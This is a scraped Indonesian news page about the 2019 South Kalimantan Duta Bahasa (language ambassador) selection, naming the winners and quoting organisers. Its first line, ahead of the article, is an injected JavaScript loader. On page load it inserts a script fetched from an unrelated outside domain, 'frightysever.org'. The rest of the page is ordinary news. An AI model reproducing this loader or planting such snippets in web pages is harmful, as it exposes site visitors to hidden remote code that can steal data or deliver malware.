(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Zikri Rahmadannor dan Siti Rosyiani Khalisha dinobatkan sebagai Duta Bahasa (Dubas) Kalimantan Selatan 2019.
Keduanya berhasil menyisihkan sepuluh finalis lainnya pada malam puncak pemilihan Duta Bahasa Kalimantan Selatan tahun 2019 di Convention Hall Hotel Banjarmasin Internasional, Senin (29/7) malam.
Atas keberhasilan ini, Zikri dan Khalisha akan mewakili Kalimantan Selatan dalam pemilihan Duta Bahasa Nasional 2019 di Jakarta, yang akan digelar pada Agustus 2019.
Ketua Panitia Pemilihan Duta Bahasa Kalimantan Selatan 2019 Musdalipah SS MPd mengatakan, kegiatan ini untuk meningkatkan peran generasi muda dalam memantapkan fungsi bahasa Indonesia, daerah, dan asing sesuai dengan ranah penggunaannya guna memperkuat jati diri serta mampu menularkannya kepada masyarakat, khususnya kepada generasi muda di Kalsel.
“Finalis berjumlah 12 orang yang terdiri atas enam orang perempuan dan enam orang laki-laki. Ke-12 finalis berhasil menyisihkan 92 orang peserta lain di tahapan sebelumnya. Alhamdulillah para finalis dalam keadaan sehat selama masa karantina ini,†ujar Musdalipah.
Kepala Balai Bahasa Kalimantan Selatan Drs Imam Budi Utomo MHum mengatakan, bentuk kegiatan ini berupa beberapa tahapan, yaitu seleksi administrasi, tes menulis dengan fokus penilaian kaidah bahasa (ejaan, pembentukan kata, diksi, kalimat, dan wacana), tes UKBI, dan pembekalan kaidah kebahasaan.
Kemudian, pada tahap karantina terdiri atas, pemaparan materi kebijakan kebahasaan dan kesastraan, serta materi kepribadian, pemaparan desain kebahasaan dan kesastraan, wawancara, pementasan bakat, final, dan penobatan Duta Bahasa Kalimantan Selatan tahun 2019.
Imam Budi Utomo menjelaskan, ada program untuk 2020 dan sudah dianggarkan, yakni duta bahasa akan dilakukan seleksi reksa bahasa, yaitu orang yang memelihara bahasa.
“Sebelum diterjunkan ke masyarakat, duta bahasa akan disuluh di Jakarta,†ucapnya. Setelah dilatih sebut Imam Budi Utomo, duta bahasa akan diterjunkan ke masyarakat, khususnya untuk kalangan generasi muda.
Imam Budi Utomo menambahkan, sebagai seorang duta bahasa harus berbahasa Indonesia yang baik dan benar, melestarikan bahasa daerah, dan menguasai bahasa asing.
Adapun para pemenang Duta Bahasa Tahun 2019 adalah Zikri Rahmadannor dan Siti Rosyiani Khalisha sebagai terbaik I, Muhammad Fahmy Rheza dan Amalina Humaida sebagai terbaik II, Muhammad Azimi dan Annisa Mutia Rahmah sebagai terbaik III, Ahmad Fazri Haekal dan Halimatus Sa’diah sebagai terbaik IV, Adi Fariji dan Maulida sebagai terbaik V, serta Muhammad Ferly Aditya dan Zahra Angelina Ismaryanti sebagai terbaik VI.
Acara dihadiri Duta Bahasa Kalimantan Timur, Duta Bahasa Kalimantan Tengah, Nanang dan Galuh Kabupaten Banjar, Atak dan Diyang Barito Kuala, dan duta lainnya di Kalimantan Selatan. (bie)
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
This website uses cookies.